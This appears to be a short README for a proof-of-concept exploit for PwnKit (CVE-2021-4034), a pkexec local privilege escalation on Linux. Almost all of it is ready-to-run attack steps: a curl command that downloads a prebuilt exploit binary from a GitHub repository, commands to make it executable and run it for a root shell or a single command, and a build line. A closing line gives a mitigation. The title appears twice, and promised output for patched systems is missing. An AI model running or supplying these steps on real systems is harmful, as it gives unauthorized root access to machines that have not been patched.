
PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation
PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation
curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
Running the exploit against patched versions will yield the following output.
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation.
# chmod 0755 /usr/bin/pkexec